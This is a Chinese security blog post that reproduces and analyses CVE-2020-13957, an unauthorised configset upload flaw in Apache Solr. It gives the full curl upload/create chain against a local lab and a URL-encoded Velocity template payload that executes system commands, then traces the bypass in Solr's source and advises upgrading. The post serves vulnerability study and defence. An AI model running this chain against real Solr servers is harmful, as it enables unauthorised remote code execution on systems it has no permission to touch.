CVE-2020-13957:Apche Solr 未授权上传漏洞复现

2020-10-22 6,476


关注我们,一起学安全!
作者:
hatjwe&ebounce
@Timeline Sec
本文字数:1778
阅读时长:5~6min
声明:请勿用作违法用途,否则后果自负


0x01 简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。


0x02 漏洞概述

漏洞编号CVE-2020-13957

在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。


整个利用链流程:

上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE


0x03 影响版本







Apache Solr 6.6.0 -6.6.5

Apache Solr 7.0.0 -7.7.3

Apache Solr 8.0.0 -8.6.2


0x04 环境搭建

1、solr-7.0.1

http://archive.apache.org/dist/lucene/solr/7.0.1/



在下载好的solr下bin目录打开cmd执行

solr.cmd start -c


启动SolrCloud,访问http://127.0.0.1:8983


0x05 漏洞复现


1、将serversolrconfigsets_defaultconf目录下的solrconfig.xml文件中params.resource.loader.enabled的值设置为true(为远程命令执行做准备),conf目录下所有文件打包成一个压缩文件


2、通过上传API将zip上传

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @7.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=file1"




3、根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制

curl "http:/127.0.0.1:8983/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"


4、根据CREATE得到的新configset创建恶意collection

curl "http:/127.0.0.1:8983/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"



5、我们可以利用已上传的collection进行远程命令执行

http://127.0.0.1:8983/solr/file2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end



PS:如果不成功可以检查下params.resource.loader.enabled的值设置为true,这是利用solrVelocity模板进行rce的先决条件


可以通过solr could界面查看上传collection的configset设置信息


0x06 漏洞分析


当传入zip配置文件时,会调用getTrusted函数进行判断是否允许创建该配置对应的node:

org.apache.solr.handler.admin.ConfigSetsHandler

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest1"




虽然该配置文件集会被标记成未授信,但仍然会被写入到服务器中


所以我们第一步上传的配置集会被写入到服务器中,然后我们使用该配置集创建配置,由于下一步我们传入的URL中含有CREATE,baseConfigSet等,因此挨个全局搜索找到判定点:

org.apache.solr.handler.admin.ConfigSetsHandler

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest1&configSetProp.immutable=false&wt=xml&omitHeader=true"



结合URL和参数可以看出该操作是以我们刚刚传入的eviltest1为模板,创建新的模板其名字为evil1,跟进copyPropertiesWithPrefix此处会通过configSetProp.前缀,筛选对应的CREATE配置:



我们传入的immutable默认为false,因此从配置的角度来说URL可以稍微简化一点:

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest2&wt=xml&omitHeader=true"


这里同样可以上传成功,值得注意的是我们之前在getTrusted打下的断点没有触发,意味着CREATE这一步在通过母版创建子版的时候是不会触发校验的:


随后我们跟进下一步:

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest1&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil1"


同样的道理这里出现关键词replicationFactor一个似乎是一个工厂函数推测,配置就是在这一步创建的,全局搜索replicationFactor,最后最后找了很久发现触发点(利用重复性报错)org.apache.solr.cloud.api.collections.CreateCollectionCmd#call


这个函数非常长,具体作用就是创建collection并判断选用的是哪个configsets,最后刷新collection列表:


通过这一系列的操作最后就能够生成新的collection,即配置被加载,从而能被攻击者利用了。


0x07 修复建议


1.升级到最新版本

http://archive.apache.org/dist/lucene/solr/


0x08 总结


这个漏洞是由于连续UPLOAD上传configset后configset API只会检测第一次而产生未授权漏洞,看了很多文章都是直接上传一个configset之后collection感觉上有些问题,于是便在开篇写了我认为的利用链,如果有疑问欢迎师傅一起沟通。


参考链接:

https://blog.csdn.net/weixin_45728976/article/details/109102413

https://blog.csdn.net/caiqiiqi/article/details/109046187






Timeline Sec 团队
安全路上,与你并肩前行











本文作者:Timeline Sec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/144081.html

Tags:
评论  (0)
快来写下你的想法吧!

Timeline Sec

文章数:20 积分: 160

欢迎关注公众号Timeline Sec

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号